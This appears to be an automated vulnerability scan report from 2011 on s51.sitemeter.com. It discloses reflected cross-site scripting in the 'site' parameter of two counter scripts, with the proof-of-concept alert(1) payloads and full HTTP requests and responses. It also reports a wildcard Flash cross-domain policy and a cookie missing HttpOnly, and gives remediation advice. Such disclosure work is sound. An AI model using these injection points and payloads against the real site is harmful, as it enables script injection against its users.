XSS, DORK, s51.sitemeter.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sat Mar 19 09:44:02 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

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1. Cross-site scripting (reflected)

1.1. http://s51.sitemeter.com/js/counter.asp [site parameter]

1.2. http://s51.sitemeter.com/js/counter.js [site parameter]

2. Flash cross-domain policy

3. Cookie without HttpOnly flag set

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/js/counter.asp [site parameter]
/js/counter.js [site parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://s51.sitemeter.com/js/counter.asp [site parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s51.sitemeter.com
Path:	/js/counter.asp

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5449f'%3balert(1)//2167aaddfa0 was submitted in the site parameter. This input was echoed as 5449f';alert(1)//2167aaddfa0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /js/counter.asp?site=s51marketgid5449f'%3balert(1)//2167aaddfa0 HTTP/1.1
Host: s51.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://usr.mgid.com/demo/goods/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Mar 2011 14:23:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7322
Content-Type: application/x-javascript
Expires: Sat, 19 Mar 2011 14:33:33 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s51marketgid5449f';alert(1)//2167aaddfa0', 's51.sitemeter.com', '');

var g_sLastCodeName = 's51marketgid5449f';alert(1)//2167aaddfa0';
// ]]>
...[SNIP]...

1.2. http://s51.sitemeter.com/js/counter.js [site parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://s51.sitemeter.com
Path:	/js/counter.js

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a036'%3balert(1)//d3edc7726e0 was submitted in the site parameter. This input was echoed as 7a036';alert(1)//d3edc7726e0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /js/counter.js?site=s51marketgid7a036'%3balert(1)//d3edc7726e0 HTTP/1.1
Host: s51.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://usr.mgid.com/demo/goods/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Mar 2011 14:23:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7322
Content-Type: application/x-javascript
Expires: Sat, 19 Mar 2011 14:33:35 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s51marketgid7a036';alert(1)//d3edc7726e0', 's51.sitemeter.com', '');

var g_sLastCodeName = 's51marketgid7a036';alert(1)//d3edc7726e0';
// ]]>
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://s51.sitemeter.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: s51.sitemeter.com

Response

HTTP/1.1 200 OK
Content-Length: 219
Content-Type: text/xml
Last-Modified: Wed, 25 Oct 2006 21:31:00 GMT
Accept-Ranges: bytes
ETag: "025bdd7cf8c61:78c6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 19 Mar 2011 14:23:26 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.sitemeter.com" />
</cro
...[SNIP]...

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s51.sitemeter.com
Path:	/js/counter.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

IP=173%2E193%2E214%2E243; path=/js

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /js/counter.asp?site=s51marketgid HTTP/1.1
Host: s51.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://usr.mgid.com/demo/goods/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Mar 2011 14:23:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7266
Content-Type: application/x-javascript
Expires: Sat, 19 Mar 2011 14:33:28 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...

Report generated by XSS.CX at Sat Mar 19 09:44:02 CDT 2011.